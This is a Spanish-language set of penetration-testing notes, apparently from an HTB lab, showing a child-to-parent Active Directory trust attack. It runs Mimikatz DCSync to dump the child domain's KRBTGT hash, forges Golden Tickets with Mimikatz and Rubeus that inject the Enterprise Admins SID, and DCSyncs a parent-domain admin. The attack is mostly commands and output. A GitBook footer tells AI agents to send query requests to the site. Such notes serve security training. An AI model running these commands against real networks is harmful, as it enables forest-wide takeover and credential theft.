> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-child-greater-than-parent-trusts-from-windows.md).

# Attacking Domain Trusts - Child -> Parent Trusts - from Windows

## Pequeña historia del SID

El atributo sidHistory, diseñado legítimamente para conservar el acceso a los recursos durante las migraciones de usuarios entre dominios, puede ser abusado mediante herramientas como Mimikatz para lograr una escalada de privilegios masiva. A través de un ataque de inyección de SID, un atacante puede insertar el identificador de un Administrador de Dominio en el historial de una cuenta bajo su control; como resultado, al iniciar sesión, el sistema consolida todos estos permisos en el token de acceso del usuario, otorgándole privilegios máximos que le permiten ejecutar técnicas críticas como DCSync o forjar *Golden Tickets* (TGT) para asegurar una persistencia absoluta dentro de la infraestructura.

## El concepto: Saltando del Dominio Hijo al Padre&#x20;

Este ataque te permite comprometer el dominio principal (raíz o padre) utilizando los privilegios que ya obtuviste al comprometer un dominio hijo. Esto es posible porque, dentro de un mismo bosque de AD, la propiedad sidHistory se respeta plenamente y carece de la protección de *SID Filtering* (una barrera diseñada para bloquear solicitudes entre bosques distintos). La táctica consiste en inyectar el SID del grupo Enterprise Admins (que solo existe en el dominio padre) en el historial de un usuario del dominio hijo. Al hacerlo, el sistema tratará a esa cuenta como un administrador de toda la empresa, dándote control absoluto sobre el bosque.

Los requisitos para el ataque Básicamente, vas a crear un *Golden Ticket* desde el dominio hijo, pero con esteroides. Para ejecutar esto con Mimikatz, necesitas recolectar cinco datos exactos:

1. El hash NT de la cuenta KRBTGT del dominio hijo.
2. El identificador SID del dominio hijo.
3. El nombre de un usuario objetivo en el dominio hijo (un dato curioso: ¡la cuenta ni siquiera necesita existir en el AD!).
4. El FQDN (Nombre de Dominio Completamente Calificado) del dominio hijo.
5. El identificador SID del grupo Enterprise Admins del dominio raíz/padre.

La ejecución: DCSync y la cuenta KRBTGT El punto de partida es conseguir el hash de la cuenta KRBTGT, la cuenta de servicio maestra que cifra y firma todos los tickets Kerberos (TGT) del dominio. Como ya tienes acceso de Administrador en el dominio hijo, puedes extraer este hash fácilmente ejecutando un ataque DCSync. Con este hash en tu poder, puedes forjar tu *Golden Ticket* a medida. Recuerda como concepto de persistencia (y para reportarlo en tus auditorías) que la única forma de mitigar y revocar este tipo de acceso es cambiando la contraseña de la cuenta KRBTGT, preferiblemente dos veces seguidas para borrar el historial de contraseñas.

## Obtención del hash NT de la cuenta KRBTGT mediante Mimikatz

```powershell
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
```

Podemos usar la función Get-DomainSID de PowerView para obtener el SID del dominio secundario, pero esto también es visible en la salida de Mimikatz anterior.

```powershell
Get-DomainSID
```

A continuación, podemos utilizar Get-DomainGroup de PowerView para obtener el SID del grupo Enterprise Admins en el dominio padre. También podríamos hacer esto con el cmdlet Get-ADGroup mediante un comando como Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL".

```powershell
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid                                    
-----------------                                       ---------                                    
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519
```

En este punto, hemos recopilado los siguientes datos:

* El hash de KRBTGT para el dominio hijo: 9d765b482771505cbe97411065964d5f
* El SID para el dominio hijo: S-1-5-21-2806153819-209893948-922872689
* El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir para crear nuestro *Golden Ticket*!): Elegiremos un usuario falso: hacker
* El FQDN del dominio hijo: LOGISTICS.INLANEFREIGHT.LOCAL
* El SID del grupo Enterprise Admins del dominio raíz: S-1-5-21-3842939050-3880317879-2865463114-519

Antes del ataque, podemos confirmar que no había acceso al sistema de archivos del controlador de dominio en el dominio principal.

#### Confirmando el acceso denegado

```powershell
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
```

Utilizando Mimikatz y los datos mencionados anteriormente, podemos crear un "Golden Ticket" para acceder a todos los recursos dentro del dominio principal.

#### Creando el Golden Ticket con Mimikatz

```powershell
PS C:\htb> mimikatz.exe

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
```

Podemos confirmar que el ticket Kerberos para el usuario hacker inexistente reside en la memoria.

#### **Confirming a Kerberos Ticket is in Memory Using klist**

```
PS C:\htb> klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
        Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/28/2022 19:59:50 (local)
        End Time:   3/25/2032 19:59:50 (local)
        Renew Time: 3/25/2032 19:59:50 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
```

Desde aquí, es posible acceder a cualquier recurso dentro del dominio principal, y podríamos comprometer dicho dominio de varias maneras.

#### Listado completo de la unidad C: del controlador de dominio

```powershell
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
 
 Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  18,080,178,176 bytes free

```

## Ataque de ExtraSids - Rubeus

También podemos realizar este ataque usando Rubeus. Primero, nuevamente, confirmaremos que no podemos acceder al sistema de archivos del controlador de dominio principal.

#### **Using ls to Confirm No Access Before Running Rubeus**

```powershell
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAcces 
   sException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
    
<SNIP>
```

A continuación, formularemos nuestro comando Rubeus utilizando los datos que obtuvimos anteriormente. El indicador /rc4 es el hash NT de la cuenta KRBTGT. El indicador /sids le indicará a Rubeus que cree nuestro Golden Ticket, otorgándonos los mismos derechos que a los miembros del grupo Administradores de la empresa en el dominio principal.

#### Creando un Golden Ticket con Rubeus

```powershell
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
```

Una vez más, podemos comprobar que el ticket está en memoria utilizando el comando klist.

```powershell
PS C:\htb> klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0> Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
    Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
    KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
    Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent 
    Start Time: 3/29/2022 10:06:41 (local)
    End Time:   3/29/2022 20:06:41 (local)
    Renew Time: 4/5/2022 10:06:41 (local)
    Session Key Type: RSADSI RC4-HMAC(NT)
    Cache Flags: 0x1 -> PRIMARY 
    Kdc Called:
```

Finalmente, podemos probar este acceso realizando un ataque DCSync contra el dominio principal, dirigido al usuario administrador de dominio lab\_adm.

### Realizando un DCSync Attack

```powershell
PS C:\Tools\mimikatz\x64> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
```

Cuando se trabaja con varios dominios y el dominio de destino no coincide con el del usuario, es necesario especificar el dominio exacto para realizar la operación DCSync en el controlador de dominio correspondiente. El comando para ello sería el siguiente:

```powershell
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-child-greater-than-parent-trusts-from-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
